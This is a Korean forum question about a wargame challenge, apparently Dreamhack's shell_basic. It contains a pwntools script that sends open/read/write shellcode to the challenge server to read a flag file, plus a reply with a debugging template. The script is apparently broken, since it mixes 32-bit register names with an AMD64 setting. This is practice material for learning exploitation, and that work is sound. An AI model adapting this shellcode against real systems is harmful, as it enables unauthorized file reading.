질문이요....

from pwn import *
p= remote("host1.dreamhack.games",9907)

pay = pwnlib.shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
pay += pwnlib.shellcraft.read("eax","esp",0x100)
pay += pwnlib.shellcraft.write(1,"esp",0x100)

payload = asm(pay,arch="AMD64")

p.sendline(payload)

print(p.recvline())
이걸로 위 문제가 왜 풀리지 않을 까요?

#pwnable
작성자 정보
답변 1
avatar
Rasser
워게임: 20

아마 쉘코드를 잘못짜셔서 그렇습니다. 빼먹은 부분이 있는지 확인해주시는게 좋을거 같습니다.
그리고 로컬에서 쉘코드를 실행했을 때 레지스터 값들도 첨부해주시면 다른분들이 답변해주시기 더 편할거에요.
전 아래 형식을 주로 사용합니다.

from pwn import *
context.log_level	= "debug"
context.arch	 	= "amd64"
p = process('binary file')
e = ELF('binary file')

gdb.attach(p) # 현재 프로세스를 gdb에 붙임, remote는 안됨
shellcraft.amd64.함수이름

p.interactive()
2022.05.10. 15:21
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기